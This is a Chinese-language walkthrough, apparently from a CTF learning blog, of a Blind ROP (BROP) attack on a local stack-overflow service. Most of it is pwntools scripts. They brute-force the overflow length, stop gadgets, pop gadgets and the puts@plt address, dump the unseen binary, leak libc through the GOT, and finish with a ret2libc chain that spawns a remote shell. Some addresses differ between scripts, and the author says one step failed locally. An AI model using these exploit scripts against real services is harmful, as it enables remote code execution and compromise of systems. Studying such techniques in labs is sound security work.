ROP-BROP

BROP即Blind ROP。如果当题目没有给出二进制文件的时候,就得通过BROP的方式盲打。大概的思路如下:

  • (确定有栈溢出的存在)通过依次增加输入数量,确定何时可以覆盖返回地址

确定溢出长度(padding)

脚本如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
from pwn import*
def getsize():
    i = 1
    while 1:
        try:
            p = remote('127.0.0.1',9999)
            p.recvuntil("WelCome my friend,Do you know password?\n")
            p.send(i * b'a')
            data = p.recv()
            p.close()
            if not data.startswith(b'No password'):
                return i-1
            else:
                i+=1
        except EOFError:
            p.close()
            return i-1

size = getsize()
print("size is [{}]".format(size))

这里减一是因为程序出错的时候以及覆盖了retn地址,但是我们只希望padding填充满rbp的位置即可。

结果如上,说明需要填充72个字符。

寻找stop_gadgets

stop_gadgets可以理解为main的地址或者__libc_start_main的地址。我们不能让payload执行完直接退出,为了多次执行,必须找到一个可以返回的地址。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
 
length = 72
 
def getStopGadgets(length):
	addr = 0x4005b0
	while 1:
		try: 
			sh = remote('127.0.0.1',9999)
			payload = 'a'*length +p64(addr)
			sh.recvuntil("know password?\n")
			sh.sendline(payload)
			output = sh.recvuntil("password?\n")
			sh.close()
			print("one success addr 0x%x:" % (addr))
			if not output.startswith('WelCome'):
				sh.close()
				addr+=1
			else:
				return addr
		except Exception:
			addr+=1
			sh.close()
stop_gadgets = getStopGadgets(length)

PS:64位程序的加载地址从0x400000开始

这里得到的地址就是start(本地未跑成功,原因未知)

寻找brop_gadgets

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
def get_brop_gadget(length, stop_gadget, addr):
    try:
        sh = remote('127.0.0.1', 9999)
        sh.recvuntil('password?\n')
        payload = 'a' * length + p64(addr) + p64(0) * 6 + p64(stop_gadget) + p64(0) * 10
        sh.sendline(payload)
        content = sh.recv()
        sh.close()
        print(content)
        # stop gadget returns memory
        #if not content.startswith('WelCome'):
        #    return False
        return True
    except Exception:
        sh.close()
        return False


def check_brop_gadget(length, addr):
    try:
        sh = remote('127.0.0.1', 9999)
        sh.recvuntil('password?\n')
        payload = 'a' * length + p64(addr) + 'a' * 8 * 10
        sh.sendline(payload)
        content = sh.recv()
        sh.close()
        return False
    except Exception:
        sh.close()
        return True


##length = getbufferflow_length()
length = 72
##get_stop_addr(length)
stop_gadget = 0x4005c0
addr = 0x400740

#######get_brop_gadgets_addr#######
while 1:
    print(hex(addr))
    if get_brop_gadget(length, stop_gadget, addr):
        print('possible brop gadget: 0x%x' % addr)
        if check_brop_gadget(length, addr):
            print('success brop gadget: 0x%x' % addr)
            break
    addr += 1

找到了可用的gadgets

寻找put地址

原理是打印出ELF头的几个字节,如果可以,就是了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
##length = getbufferflow_length()
length = 72
##get_stop_addr(length)
stop_gadget = 0x4005c0
addr = 0x400740

def get_puts_addr(length, rdi_ret, stop_gadget):
    addr = 0x400000
    while 1:
        print hex(addr)
        sh = remote('127.0.0.1', 9999)
        sh.recvuntil('password?\n')
        payload = 'A' * length + p64(rdi_ret) + p64(0x400000) + p64(addr) + p64(stop_gadget)
        sh.sendline(payload)
        try:
            content = sh.recv()
            if content.startswith('\x7fELF'):
                print 'find puts@plt addr: 0x%x' % addr
                return addr
            sh.close()
            addr += 1
        except Exception:
            sh.close()
            addr += 1

brop_gadget=0x4007ba
rdi_ret=brop_gadget+9
get_puts_addr(72,rdi_ret,stop_gadget)

dump源程序

使用发现的puts地址将程序dump下来

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
def dump(length, rdi_ret, puts_plt, leak_addr, stop_gadget):
    sh = remote('127.0.0.1', 9999)
    payload = 'a' * length + p64(rdi_ret) + p64(leak_addr) + p64(puts_plt) + p64(stop_gadget)
    sh.recvuntil('password?\n')
    sh.sendline(payload)
    try:
        data = sh.recv()
        sh.close()
        try:
            data = data[:data.index("\nWelCome")]
        except Exception:
            data = data
        if data == "":
            data = '\x00'
        return data
    except Exception:
        sh.close()
        return None

##length = getbufferflow_length()
length = 72
##stop_gadget = get_stop_addr(length)
stop_gadget = 0x4005c0
##brop_gadget = find_brop_gadget(length,stop_gadget)
brop_gadget = 0x4007ba
rdi_ret = brop_gadget + 9
##puts_plt = get_puts_plt(length, rdi_ret, stop_gadget)
puts_plt = 0x400555
addr = 0x400000
result = ""
while addr < 0x401000:
    print hex(addr)
    data = dump(length, rdi_ret, puts_plt, addr, stop_gadget)
    if data is None:
        continue
    else:
        result += data
    addr += len(data)
with open('code', 'wb') as f:
    f.write(result)

寻找puts的GOT地址

按照之前找到的puts地址,即可找到GOT表中puts的地址

ret2libc

接下来就是ret2libc的过程

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
##length = getbufferflow_length()
length = 72
##stop_gadget = get_stop_addr(length)
stop_gadget = 0x4006b6
##brop_gadget = find_brop_gadget(length,stop_gadget)
brop_gadget = 0x4007ba
rdi_ret = brop_gadget + 9
##puts_plt = get_puts_addr(length, rdi_ret, stop_gadget)
puts_plt = 0x400560
##leakfunction(length, rdi_ret, puts_plt, stop_gadget)
puts_got = 0x601018

sh = remote('127.0.0.1', 9999)
sh.recvuntil('password?\n')
payload = 'a' * length + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(stop_gadget)
sh.sendline(payload)
data = sh.recvuntil('\nWelCome', drop=True)
puts_addr = u64(data.ljust(8, '\x00'))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
payload = 'a' * length + p64(rdi_ret) + p64(binsh_addr) + p64(system_addr) + p64(stop_gadget)
sh.sendline(payload)
sh.interactive()
0%